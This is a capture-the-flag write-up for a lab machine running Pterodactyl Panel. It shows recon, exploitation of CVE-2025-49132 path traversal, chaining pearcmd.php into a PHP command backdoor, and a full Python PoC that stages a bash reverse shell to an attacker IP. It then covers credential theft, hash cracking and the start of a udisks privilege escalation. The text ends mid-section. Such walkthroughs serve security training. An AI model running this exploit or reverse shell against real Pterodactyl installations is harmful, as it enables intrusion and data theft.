1 RECON

1.1 Port Scan

Bash
rustscan -a $targetIp --ulimit 1000 -r 1-65535 -- -A -sC -Pn

Result:

TXT
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
|   256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOouXDOkVrDkob+tyXJOHu3twWDqor3xlKgyYmLIrPasaNjhBW/xkGT2otP1zmnkTUyGfzEWZGkZB2Jkaivmjgc=
|   256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJTXNuX5oJaGQJfvbga+jM+14w5ndyb0DN0jWJHQCDd9
80/tcp open  http    syn-ack nginx 1.21.5
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://pterodactyl.htb/
|_http-server-header: nginx/1.21.5

The redirect points to pterodactyl.htb, which reveals a Pterodactyl Panel — a common open-source game server management platform.

1.2 Web Application

The landing page is the official Pterodactyl® panel homepage, built on a PHP + React + Go stack:

A version hint appears directly in the HTML:

HTML
<p style="margin-top:2rem;">
    Version: 1.20.x <br>SMP and Vanilla Servers.<br> <a href="/changelog.txt">Changelogs</a>
</p>

The exposed changelog reads:

Markdown
MonitorLand - CHANGELOG.txt
=====================================
Version 1.20.X

[Added] Main Website Deployment
--------------------------------
- Deployed the primary landing site for MonitorLand.
- Implemented homepage, and link for Minecraft server.
- Integrated site styling and dark-mode as primary.

[Linked] Subdomain Configuration
--------------------------------
- Added DNS and reverse proxy routing for play.pterodactyl.htb.
- Configured NGINX virtual host for subdomain forwarding.

[Installed] Pterodactyl Panel v1.11.10
--------------------------------------
- Installed Pterodactyl Panel.
- Configured environment:
  - PHP with required extensions.
  - MariaDB 11.8.3 backend.

[Enhanced] PHP Capabilities
-------------------------------------
- Enabled PHP-FPM for smoother website handling on all domains.
- Enabled PHP-PEAR for PHP package management.
- Added temporary PHP debugging via phpinfo()

This isn't just documentation — it's a roadmap.

1.3 Web Fuzzing

1.3.1 Directory Fuzzing

axura @ labyrinth :~
$ gobuster dir -u http://pterodactyl.htb -w /home/Axura/wordlists/SecLists/Discovery/Web-Content/common.txt -t 50
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://pterodactyl.htb
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /home/Axura/wordlists/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.htaccess            (Status: 403) [Size: 153]
.hta                 (Status: 403) [Size: 153]
.htpasswd            (Status: 403) [Size: 153]
index.php            (Status: 200) [Size: 1686]
phpinfo.php          (Status: 200) [Size: 73008]
Progress: 4751 / 4751 (100.00%)
===============================================================
Finished
===============================================================

The exposed phpinfo.php leaks full PHP configuration details:

1.3.2 Subdomain Fuzzing

axura @ labyrinth :~
$ gobuster vhost -u http://pterodactyl.htb --ad -w /home/Axura/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -t 50
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://pterodactyl.htb
[+] Method:                    GET
[+] Threads:                   50
[+] Wordlist:                  /home/Axura/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent:                gobuster/3.8.2
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
panel.pterodactyl.htb Status: 200 [Size: 1897]
Progress: 20000 / 20000 (100.00%)
===============================================================
Finished
===============================================================

The real control panel lives behind panel.pterodactyl.htb.


2 WEB

2.1 Pterodactyl Fingerprints

From the exposed changelog, the battlefield is:

  • Pterodactyl Panel v1.11.10
  • PHP-PEAR enabled
  • MariaDB 11.8.3 backend
  • Debugging feature enabled via phpinfo()

A precise target: Pterodactyl Panel v1.11.10 — time to hunt for exploitable CVEs.

2.2 CVE-2025-49132

2.2.1 CVE Overview

CVE-2025-49132 is a critical remote code execution (RCE) vulnerability in the Pterodactyl Panel.

It affects installations prior to v1.11.11 — including our exact version.

The issue lies in the localization endpoint:

Url
/locales/locale.json?locale=<value>&namespace=<value>

The panel fails to properly sanitize locale and namespace. Under Laravel, this can be abused for path traversal and ultimately arbitrary code execution.(GitHub)

2.2.2 Patch Overview

The commit to fix the vulnerability: https://github.com/pterodactyl/panel/commit/24c82b0e335fb5d7a844226b08abf9f176e592f0

The fix introduces a new validation class:app/Http/Requests/Base/LocaleRequest.php, which enforces:

PHP
'locale'    => ['required', 'string', 'regex:/^[a-z][a-z]$/'],
'namespace' => ['required', 'string', 'regex:/^[a-z]{1,191}$/'],
  • locale must be exactly two lowercase letters
  • namespace must be a simple string of lowercase letters (no ., no /, no .., etc.)

It attemps to block any directory traversal or crafted namespace inputs.

The controller signature also changes:

Diff
- public function __invoke(Request $request)
+ public function __invoke(LocaleRequest $request)

So validation now happens before any logic runs.

Before the patch, the controller did this:

PHP
$locales = explode(' ', $request->input('locale') ?? '');
$namespaces = explode(' ', $request->input('namespace') ?? '');

foreach ($locales as $locale) {
    foreach ($namespaces as $namespace) {
        $response[$locale][$namespace] =
            $this->i18n(
                $this->loader->load($locale, str_replace('.', '/', $namespace))
            );
    }
}

Problems in this design:

  • Took locale and namespace straight from user input
  • Split on spaces, allowing multiple values
  • Did str_replace('.', '/', $namespace)replacing periods with slashes, dramatically expanding traversal potential
  • Passed straight to $this->loader->load(...) → which could include arbitrary filesystem paths

That is exactly where traversal becomes possible, allowing path characters like ../ through and translated them into loader calls

After the patch, it becomes:

PHP
$locale = $request->input('locale');
$namespace = $request->input('namespace');

$response[$locale][$namespace] =
    $this->i18n($this->loader->load($locale, $namespace));

Key changes:

  • No explode() — no splitting on spaces
  • No str_replace('.', '/') — so . stays a literal dot, not a path separator
  • Only one locale and namespace are processed
  • The parameters are already validated

So any attempt like ../../evil is rejected before reaching the loader.

2.2.3 Path Traversal

Since our target is still unpatched, we can reverse this logic.

Originally, locale was not constrained to two letters, so we could send things rather than expected locale, e.g., en:

Url
locale=../../../evil

Meanwhile, namespace was treated as a path hint, not a label.

The intended file resolution is:

Path
resources/lang/{locale}/{namespace}.php

Normally:

Path
/locales/locale.json?locale=en&namespace=auth
→ loads: resources/lang/en/auth.php

But if we control both fields:

Path
locale = ../../../
namespace = path/filename

Then the resolved path becomes:

Path
resources/lang/../../../path/filename.php

That is our traversal primitive.

2.2.4 Local PHP File Inclusion

Because the loader always appends .php, this is not a generic file read — it is a PHP inclusion primitive.

We can target existing PHP files reliably, for example:

Path
app/Console/Kernel.php

But we cannot read plain text files like:

Filenames
/etc/passwd
/var/log/nginx/access.log
/var/www/pterodactyl/.env
README.md
docker-compose.yml

Because the loader would try:

PHP
include('/etc/passwd.php')

Which simply does not exist.

2.2.5 Pterodactyl Project Structure

To target internal PHP files, We can lookup Laravel / Pterodactyl structure from offcial Github repository: https://github.com/pterodactyl/panel/tree/1.0-develop

Expected default project hiearchy in an Nginx server:

Pterodactyl Project Structure
/var/www/pterodactyl/
├── app/
│   ├── Console/
│   │   ├── Commands/
│   │   │   ├── Schedule/RunTaskCommand.php
│   │   │   ├── User/MakeUserCommand.php
│   │   │   ├── User/DeleteUserCommand.php
│   │   │   └── ...
│   │   └── Kernel.php
│   │
│   ├── Exceptions/
│   │   └── Handler.php
│   │
│   ├── Http/
│   │   ├── Controllers/
│   │   │   ├── Admin/
│   │   │   │   ├── UserController.php
│   │   │   │   ├── ServerController.php
│   │   │   │   └── ...
│   │   │   ├── Api/
│   │   │   │   ├── Client/
│   │   │   │   │   ├── ServersController.php
│   │   │   │   │   └── ...
│   │   │   │   └── Remote/
│   │   │   │       ├── ServersController.php
│   │   │   │       └── ...
│   │   │   └── Auth/
│   │   │       ├── LoginController.php
│   │   │       └── ...
│   │   │
│   │   ├── Middleware/
│   │   │   ├── AdminAuthenticate.php
│   │   │   └── ...
│   │   │
│   │   └── Requests/
│   │
│   ├── Models/
│   │   ├── User.php
│   │   ├── Server.php
│   │   ├── Node.php
│   │   └── ...
│   │
│   ├── Policies/
│   │   └── ...
│   │
│   ├── Providers/
│   │   ├── AppServiceProvider.php
│   │   ├── AuthServiceProvider.php
│   │   └── ...
│   │
│   ├── Repositories/
│   │
│   ├── Services/
│   │   ├── Nodes/
│   │   │   ├── NodeJWTService.php
│   │   │   └── ...
│   │   ├── Users/
│   │   │   ├── UserCreationService.php
│   │   │   └── ...
│   │   └── ...
│   │
│   └── Traits/
│       └── ...

├── bootstrap/
│   └── app.php

├── config/
│   ├── app.php
│   ├── auth.php
│   ├── cache.php
│   ├── cors.php
│   ├── database.php
│   ├── filesystems.php
│   ├── hashing.php
│   ├── logging.php
│   ├── mail.php
│   ├── queue.php
│   ├── services.php
│   └── pterodactyl.php

├── database/
│   ├── Factories/
│   │   ├── UserFactory.php
│   │   ├── UserSSHKeyFactory.php
│   │   └── ...
│   │
│   ├── Migrations/
│   │   └── (dozens of schema files)
│   │
│   └── Seeders/
│       ├── DatabaseSeeder.php
│       └── ...

├── public/
│   └── index.php

├── resources/
│   ├── lang/       <- current position
│   │   ├── en/
│   │   │   ├── auth.php
│   │   │   ├── activity.php
│   │   │   ├── exceptions.php
│   │   │   └── validation.php
│   │   └── fr/
│   │       └── auth.php
│   │
│   ├── ...

├── routes/
│   ├── admin.php
│   ├── api-client.php
│   ├── api-remote.php
│   ├── console.php
│   └── web.php

├── storage/
|
├── vendor/
│   └── (composer dependencies)

└── .env

Our entry point sits in:

Path
/var/www/pterodactyl/resources/lang

From here, multiple ../ lets us walk upward into the rest of the project.

2.2.6 Pterodactyl LFI Enumeration

With a path-traversal + PHP-only inclusion primitive in hand, we can now enumerate internal PHP files.

Create a small helper:

Python
#!/usr/bin/env python3
import argparse
import requests
import re

parser = argparse.ArgumentParser(description="Pterodactyl locale LFI helper")
parser.add_argument("-u", "--url", required=True,
                    help="Base panel URL")
parser.add_argument("-p", "--path", required=True,
                    help="Traversal path, e.g. ../../config/database.php")

args = parser.parse_args()
ENDPOINT = "/locales/locale.json"

def split_path(path: str):
    if not path.endswith(".php"):
        raise ValueError("Path must end with .php")

    # strip .php
    path = path[:-4]

    # match leading ../../../../... pattern
    m = re.match(r"^(?P<trav>(?:\.\./)+)(?P<rest>.*)$", path)

    if not m:
        raise ValueError("Path must start with ../ traversal")

    locale = m.group("trav")
    namespace = m.group("rest")

    return locale, namespace

locale, namespace = split_path(args.path)

full_url = (
    f"{args.url}{ENDPOINT}"
    f"?locale={locale}"
    f"&namespace={namespace}"
)

print("\n[+] Input path :", args.path)
print("[+] locale     :", locale)
print("[+] namespace  :", namespace)
print("[+] Generated  :", full_url)

try:
    r = requests.get(full_url, timeout=10)
    print("\n[+] Status:", r.status_code)
    print("[+] Preview:\n")
    print(r.text[:2000])
except Exception as e:
    print("[-] Error:", e)

Read config/database.php:

axura @ labyrinth :~
$ python lfi.py \
  -u http://panel.pterodactyl.htb \
  -p ../../config/database.php

[+] Input path : ../../config/database.php
[+] locale     : ../../
[+] namespace  : config/database
[+] Generated  : http://panel.pterodactyl.htb/locales/locale.json?locale=../../&namespace=config/database

[+] Status: 200
[+] Preview:

{"..\/..\/":{"config\/database":{"default":"mysql","connections":{"mysql":{"driver":"mysql","url":"","host":"127.0.0.1","port":"3306","database":"panel","username":"pterodactyl","password"
:"PteraPanel","unix_socket":"","charset":"utf8mb4","collation":"utf8mb4_unicode_ci","prefix":"","prefix_indexes":"1","strict":"","timezone":"+00{{00}}","sslmode":"prefer","options":{"1014"
:"1"}}},"migrations":"migrations","redis":{"client":"predis","options":{"cluster":"redis","prefix":"pterodactyl_database_"},"default":{"scheme":"tcp","path":"\/run\/redis\/redis.sock","hos
t":"127.0.0.1","username":"","password":"","port":"6379","database":"0","context":[]},"sessions":{"scheme":"tcp","path":"\/run\/redis\/redis.sock","host":"127.0.0.1","username":"","passwor
d":"","port":"6379","database":"1","context":[]}}}}}

This yields MariaDB credentials:

INI
host      = 127.0.0.1
database  = panel
username  = pterodactyl
password  = PteraPanel

Next, pull config/app.php:

axura @ labyrinth :~
$ python lfi.py \
  -u http://panel.pterodactyl.htb \
  -p ../../config/app.php

[+] Input path : ../../config/app.php
[+] locale     : ../../
[+] namespace  : config/app
[+] Generated  : http://panel.pterodactyl.htb/locales/locale.json?locale=../../&namespace=config/app

[+] Status: 200
[+] Preview:

{"..\/..\/":{"config\/app":{"version":"1.11.10","name":"Pterodactyl","env":"production","debug":"","url":"http:\/\/panel.pterodactyl.htb","timezone":"UTC","locale":"en","fallback_locale":"
en","key":"base64{{UaThTPQnUjrrK61o}}+Luk7P9o4hM+gl4UiMJqcbTSThY=","cipher":"AES-256-CBC","exceptions":{"report_all":""},"maintenance":{"driver":"file"},"providers":["Illuminate\\Auth\\Aut
hServiceProvider","Illuminate\\Broadcasting\\BroadcastServiceProvider","Illuminate\\Bus\\BusServiceProvider","Illuminate\\Cache\\CacheServiceProvider","Illuminate\\Foundation\\Providers\\C
onsoleSupportServiceProvider","Illuminate\\Cookie\\CookieServiceProvider","Illuminate\\Database\\DatabaseServiceProvider","Illuminate\\Encryption\\EncryptionServiceProvider","Illuminate\\F
ilesystem\\FilesystemServiceProvider","Illuminate\\Foundation\\Providers\\FoundationServiceProvider","Illuminate\\Hashing\\HashServiceProvider","Illuminate\\Mail\\MailServiceProvider","Ill
uminate\\Notifications\\NotificationServiceProvider","Illuminate\\Pagination\\PaginationServiceProvider","Illuminate\\Pipeline\\PipelineServiceProvider","Illuminate\\Queue\\QueueServicePro
vider","Illuminate\\Redis\\RedisServiceProvider","Illuminate\\Auth\\Passwords\\PasswordResetServiceProvider","Illuminate\\Session\\SessionServiceProvider","Illuminate\\Translation\\Transla
tionServiceProvider","Illuminate\\Validation\\ValidationServiceProvider","Illuminate\\View\\ViewServiceProvider","Pterodactyl\\Providers\\ActivityLogServiceProvider","Pterodactyl\\Provider
s\\AppServiceProvider","Pterodactyl\\Providers\\AuthServiceProvider","Pterodactyl\\Providers\\BackupsServiceProvider","Pterodactyl\\Providers\\BladeServiceProvider","Pterodactyl\\Providers
\\EventServiceProvider","Pterodactyl\\Providers\\HashidsServiceProvider","Pterodactyl\\Providers\\RouteServiceProvider","Pterodactyl\\Providers\\RepositoryServiceProvider","Pterodactyl\\Pr
oviders\\ViewComposerServiceProvider","Prologue\\Alerts\\AlertsServiceProvider"],"aliases":{"App":"Illuminate\\Support\\

From this we recover Laravel's application key:

APP_KEY
base64{UaThTPQnUjrrK61o}+Luk7P9o4hM+gl4UiMJqcbTSThY=

Not every PHP file is readable. For example:

axura @ labyrinth :~
$ python lfi.py \
  -u http://panel.pterodactyl.htb \
  -p ../../database/Factories/UserSSHKeyFactory.php

[+] Input path : ../../database/Factories/UserSSHKeyFactory.php
[+] locale     : ../../
[+] namespace  : database/Factories/UserSSHKeyFactory
[+] Generated  : http://panel.pterodactyl.htb/locales/locale.json?locale=../../&namespace=database/Factories/UserSSHKeyFactory

[+] Status: 500
[+] Preview:

[...snip...]

returns 500 — the file exists, but inclusion fails.

2.2.7 LFI → RCE

Our LFI primitive lets us include arbitrary existing PHP files, but it does not yet give command execution.

To bridge LFI to RCE, two classic routes exist:

  1. Upload our own PHP and include it, or
  2. Abuse an existing server-side script that writes files when executed.

There is no apparent upload feature here, so we pursue the second path.

Upload exploit method can refer to section 5.2.

2.2.7.1 pearcmd.php

A well-documented technique in LFI exploitation involves abusing PEAR's pearcmd.php utility. PEAR is a legacy PHP package manager that ships with many Linux distributions and container images.

Reference: File Inclusion/Path traversal - HackTricks

Under normal circumstances, pearcmd.php is a CLI program, invoked like:

Bash
php /usr/local/lib/php/pearcmd.php <command> <args...>

One of its subcommands is config-create, which writes a PEAR configuration file to disk.

The key insight behind the "URL-args" trick is that when pearcmd.php is executed in a web context, PHP still exposes the raw query string to the script. Any tokens in the URL that do not contain = are not treated as normal key–value parameters; instead, they appear as bare strings that pearcmd.php can interpret as positional CLI arguments.

For example, a URL like:

Url
/index.php?foo&bar&baz

does not create three variables — it leaves foo, bar, and baz as raw tokens in the query string. Scripts that behave like CLI wrappers (such as pearcmd.php) may read these tokens as command-line arguments.

An example GET request where the LFI entry sits in the file parameter:

HTTP
GET /index.php?+config-create+/&
file=/usr/local/lib/php/pearcmd.php&
/<?=phpinfo()?>+/tmp/hello.php

This is intended to do two things at once:

  1. Execute pearcmd.php (via LFI or misrouting), and
  2. Smuggle CLI arguments through the URL, where:
    • +config-create+/ acts like a CLI command, and
    • /<?=phpinfo()?>+/tmp/hello.php is interpreted as payload + destination path.

If pearcmd.php accepts these as CLI arguments, it results in a new file:

Path
/tmp/hello.php

containing:

PHP
<?=phpinfo()?>

This gives us an arbitrary file write primitive.

2.2.7.2 RCE Workflow

Our existing primitive from CVE-2025-49132 performs an inclusion equivalent to:

PHP
include base_path("resources/lang/{$locale}/{$namespace}.php");

So we first include PEAR:

HTTP
GET /locales/locale.json?
locale=../../../../../usr/local/lib/php&
namespace=pearcmd

This successfully loads /usr/local/lib/php/pearcmd.php.

Through our lfi.py we can confirm that response 500, which means the gadget exists and is loadable.

So next we append "bare parameters" like:

Url
+config-create+/

These are parsed inside pearcmd.php as if we had executed:

Bash
pearcmd config-create /

Combine both ideas into a single malicious request:

HTTP
GET /locales/locale.json?
+config-create+/&
locale=../../../../../usr/local/lib/php&
namespace=pearcmd&
/<?=system($_GET['cmd'])?>+/tmp/shell.php

This makes PEAR write:

Path
/tmp/shell.php

containing a command-execution backdoor.

Finally, include our shell using the same LFI primitive:

HTTP
GET /locales/locale.json?
locale=../../../../../tmp&
namespace=shell

Then execute commands:

HTTP
GET /tmp/payload.php?cmd=id

We will gain RCE (no command feedback though in this case).

2.2.8 PoC

We can automate the entire exploit chain with a single Python script:

Python
#!/usr/bin/env python3
import argparse, subprocess, base64, urllib.parse, sys


def run(cmd: str):
    """Run curl and return (body, status_code)."""
    full = f"curl -sS -w '\\n%{{http_code}}' {cmd}"
    out = subprocess.check_output(full, shell=True, text=True)
    body, code = out.rsplit("\n", 1)
    return body, int(code)


def build_launcher(attacker_ip: str, attacker_port: str) -> str:
    """Create a base64-staged reverse shell launcher."""
    rev_shell = f"/bin/bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1"
    encoded = base64.b64encode(rev_shell.encode()).decode()
    launcher = f"echo {encoded} | base64 -d | /bin/bash"
    return launcher.replace(" ", "${IFS}")


def write_payload(base: str, launcher: str):
    """Stage 1 — abuse pearcmd to write /tmp/rev.php"""

    php = f"<?php @system('{launcher}'); ?>"
    encoded_php = urllib.parse.quote(php, safe="")

    locale_traversal = "../../../../../../usr/local/lib/php"

    url = (
        f'"{base}/locales/locale.json?'
        "+config-create+/&"
        f"locale={locale_traversal}&"
        "namespace=pearcmd&"
        f'/{encoded_php}+/tmp/rev.php"'
    )

    print("\n[*] STAGE 1 — Writing reverse shell payload via pearcmd")
    print("[>] Request:")
    print(url)

    body, code = run(url)
    if code == 200:
        print(f"[+] HTTP status: {code}")
    else:
        print("[-] Starge 1 failed")
        sys.exit(1)


def trigger_payload(base: str):
    """Stage 2 — include /tmp/rev.php via CVE-2025-49132 LFI"""

    url = f'"{base}/locales/locale.json?' "locale=../../../../../tmp&" 'namespace=rev"'

    print("\n[*] STAGE 2 — Triggering LFI include")
    print("[>] Request:")
    print(url)

    body, code = run(url)
    if code == 200:
        print(f"[+] HTTP status: {code}")
    else:
        print("[-] Starge 2 failed")
        sys.exit(1)


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument(
        "-t", "--target", required=True, help="target url vulnerable to CVE-2025-49132"
    )
    ap.add_argument("-i", "--ip", required=True, help="attacker listener IP")
    ap.add_argument("-p", "--port", required=True, help="attacker listener port")

    args = ap.parse_args()
    base = args.target.rstrip("/")

    launcher = build_launcher(args.ip, args.port)

    write_payload(base, launcher)

    print("\n[ EXPLOIT READY ]")
    print("--------------------------------------------------")
    print(f"Start listener: nc -lvnp {args.port}")
    input("Press Enter to continue...")

    trigger_payload(base)

    print("[+] LFI trigger already sent — check listener!")


if __name__ == "__main__":
    main()

Run:

Bash
python poc.py \
  -t http://panel.pterodactyl.htb \
  -i $attackerIP -p 60001

Shell as wwwrun:


3 USER

From 2.2.6 we retrieved the DB creds for MariaDB. Connect:

Bash
mysql -u pterodactyl -pPteraPanel -h 127.0.0.1 panel

Enumerate users:

axura @ labyrinth :~
MariaDB [panel]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| panel              |
| test               |
+--------------------+
3 rows in set (0.001 sec)

MariaDB [panel]> use panel;
Database changed
MariaDB [panel]> select * from users;
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+----------------------------------------------------------
----+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+--------------
-------+
| id | external_id | uuid                                 | username     | email                        | name_first | name_last | password
    | remember_token                                               | language | root_admin | use_totp | totp_secret | totp_authenticated_at | gravatar | created_at          | updated_at
       |
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+----------------------------------------------------------
----+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+--------------
-------+
|  2 | NULL        | 5e6d956e-7be9-41ec-8016-45e434de8420 | headmonitor  | [email protected]  | Head       | Monitor   | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5
gD2 | OL0dNy1nehBYdx9gQ5CT3SxDUQtDNrs02VnNesGOObatMGzKvTJAaO0B1zNU | en       |          1 |        0 | NULL        | NULL                  |        1 | 2025-09-16 17:15:41 | 2025-09-16 17
:15:41 |
|  3 | NULL        | ac7ba5c2-6fd8-4600-aeb6-f15a3906982b | phileasfogg3 | [email protected] | Phileas    | Fogg      | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC
9Pi | 6XGbHcVLLV9fyVwNkqoMHDqTQ2kQlnSvKimHtUDEFvo4SjurzlqoroUgXdn8 | en       |          0 |        0 | NULL        | NULL                  |        1 | 2025-09-16 19:44:19 | 2025-11-07 18
:28:50 |
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+----------------------------------------------------------
----+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+--------------
-------+
2 rows in set (0.001 sec)

Two accounts appear:

  • headmonitor — root admin
  • phileasfogg3 — regular user

The bcrypt hash for phileasfogg3 is weak and cracks quickly:

Hashcat
$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi:!QAZ2wsx

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLz...vGC9Pi

Use it to SSH in:

axura @ labyrinth :~
$ ssh [email protected]
([email protected]) Password:
Have a lot of fun...
Last login: Sun Feb  8 11:01:53 2026 from 10.10.14.22
Last login: Sun Feb 8 11:06:49 2026 from 10.10.14.22
phileasfogg3@pterodactyl:~$ ls -a
.  ..  .bash_history  .bashrc  bin  .cache  .config  .emacs  .fonts  .inputrc  .local  .profile  user.txt
phileasfogg3@pterodactyl:~$ cat user.txt
2d****************************6d

User flag secured.


4 ROOT

4.1 Local Enumeration

Run LinPEAS. Interesting signals appear immediately.

LinPEAS
╔══════════╣ Running processes (cleaned)
╚ Check weird & unexpected processes run by root: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes
root      2907  0.0  0.2  49180  5184 ?        Ss   03:36   0:00 /usr/lib/postfix/bin//master -w
postfix   2911  0.0  0.4  65760  8832 ?        S    03:36   0:00  _ qmgr -l -t fifo -u
postfix  22025  0.0  0.4  49212  8704 ?        S    10:15   0:00  _ pickup -l -t fifo -u

╔══════════╣ Analyzing Env Files (limit 70)
-rw-r--r-- 1 wwwrun www 1092 Dec 29 12:35 /var/www/pterodactyl/.env
MAIL_MAILER=smtp
MAIL_HOST=smtp.example.com
MAIL_PORT=25
MAIL_USERNAME=
MAIL_PASSWORD=
MAIL_ENCRYPTION=tls
[email protected]
MAIL_FROM_NAME="Pterodactyl Panel"
APP_SERVICE_AUTHOR="[email protected]"
PTERODACTYL_TELEMETRY_ENABLED=false
RECAPTCHA_ENABLED=false

╔══════════╣ SGID
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
-rwxr-sr-x 1 root maildrop 19K May 27  2024 /usr/sbin/postdrop
-rwxr-sr-x 1 root maildrop 11K May 27  2024 /usr/sbin/postlog (Unknown SGID binary)
-rwxr-sr-x 1 root maildrop 23K May 27  2024 /usr/sbin/postqueue

╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files
/var/spool/mail
/var/spool/mail/phileasfogg3
/var/tmp

╔══════════╣ Searching installed mail applications
config.postfix
postfix
sendmail

The presence of an active Postfix service suggests that system components may communicate warnings or alerts to local users via mail.

Check that exposed /var/spool/mail/phileasfogg3 :

axura @ labyrinth :~

phileasfogg3@pterodactyl:~$ id
uid=1002(phileasfogg3) gid=100(users) groups=100(users)
phileasfogg3@pterodactyl:~$ postlog
Absolute path to 'postlog' is '/usr/sbin/postlog', so running it may require superuser privileges (eg. root).
phileasfogg3@pterodactyl:~$ ls -ld /var/spool/mail/phileasfogg3
-rw-rw---- 1 phileasfogg3 mail 960 Dec 29 15:58 /var/spool/mail/phileasfogg3

Read mail:

Mail
From headmonitor@pterodactyl Fri Nov 07 09:15:00 2025
Delivered-To: phileasfogg3@pterodactyl
Received: by pterodactyl (Postfix, from userid 0)
id 1234567890; Fri, 7 Nov 2025 09:15:00 +0100 (CET)
From: headmonitor headmonitor@pterodactyl
To: All Users all@pterodactyl
Subject: SECURITY NOTICE — Unusual udisksd activity (stay alert)
Message-ID: 202511070915.headmonitor@pterodactyl
Date: Fri, 07 Nov 2025 09:15:00 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit

Attention all users,

Unusual activity has been observed from the udisks daemon (udisksd). No confirmed compromise at this time, but increased vigilance is required.

Do not connect untrusted external media. Review your sessions for suspicious activity. Administrators should review udisks and system logs and apply pending updates.

Report any signs of compromise immediately to [email protected]

— HeadMonitor
System Administrator

Key line:

"Unusual activity has been observed from the udisks daemon (udisksd)."

4.2 UDisks

udisksd is a root daemon that exposes disk operations over D-Bus to unprivileged users (like plugging in and accessing a USB).

In practice, this means:

Flow Chart
Unprivileged user
        |
     D-Bus
        |
   udisksd (runs as root)
        |
 Actual disk operations on the system

It handles things like:

  • Loop devices
  • Mounting filesystems
  • Partition management
  • Removable media

If we can abuse it, we get a powerful primitive.

First, check what the system sees:

axura @ labyrinth :~
phileasfogg3@pterodactyl:~$ udisksctl status
MODEL                     REVISION  SERIAL               DEVICE
--------------------------------------------------------------------------
VMware Virtual disk       2.0       6000c29b0bffcbc12f272cb434ca9f90 sda

We can enumerate the main disk (/dev/sda) — this is expected.

Then we try a basic loop setup via client api udisksctl loop-setup:

axura @ labyrinth :~
phileasfogg3@pterodactyl:~$ truncate -s 10M /tmp/test.img
phileasfogg3@pterodactyl:~$ udisksctl loop-setup -f /tmp/test.img
==== AUTHENTICATING FOR org.freedesktop.udisks2.loop-setup ====
Authentication is required to set up a loop device
Authenticating as: root
Password:

So basic loop creation is privileged, as designed – It makes a lot sense that Linux would restrict an SSH session to use devices like USB physically.

At this point we know:

  • We can talk to udisksd, of course
  • But sensitive actions require authorization

The mailbox warning suggests someone tried to do more than just enumerate.

That's our next lead.

4.3 LPE on Udisks

Looking at recent vulnerabilities in udisksd's authorization layer, two CVEs fit our situation perfectly: CVE-2025-6018 and CVE-2025-6019. Together, they form a clean privilege-escalation chain — exactly what we need after seeing the loop-setup policy barrier.

4.3.1 CVE-2025-6018

udisks uses a guard called allow_active to block dangerous operations on devices that are already in use or mounted.

Imagine, if an attacker can "insert" a bad USB stick remotely after gaining shell, that would be a disaster.

CVE-2025-6018 breaks that guard.

In practice, it lets us bypass or manipulate allow_active, forcing udisksd to proceed with operations it should normally refuse.

Think of it as the permission bypass, that allows us to use "physical" devices remotely like a real active user sitting on the desk.

4.3.2 CVE-2025-6019

CVE-2025-6019 is about malicious filesystem images.

Normally the flow looks like this:

Concept
user   : "Please attach my disk image"
udisksd: "OK" → mounts it as root

If we were already a sudo user, that would be fine. But we're not.

So first we abuse CVE-2025-6018 to bypass the policy check, then we get udisksd to mount our image with root privileges anyway.

However, simply mounting an image does not give privesc by itself. The real issue is this:

A specially crafted XFS image can trick udisksd into performing privileged side effects during mounting.

The attack workflow becomes:

  1. Build a weaponized XFS image
  2. Drop it somewhere writable on the target
  3. Ask udisksd to attach it
  4. Bypass protections via CVE-2025-6018
  5. Let udisksd process the image as root
  6. The crafted filesystem layout triggers escalation

I'll walk through the exact exploitation details in the next steps.

4.4 Exploit

The privilege chain is simple and brutal:

  • 6018 gives us allow_active (auth bypass, session spoof)
  • 6019 turns allow_active + udisks into root (toctou code execution)

We start by weaponizing CVE-2025-6019.

4.4.1 CVE-2025-6019 [1]

4.4.1.1 Craftt Malicious Binary

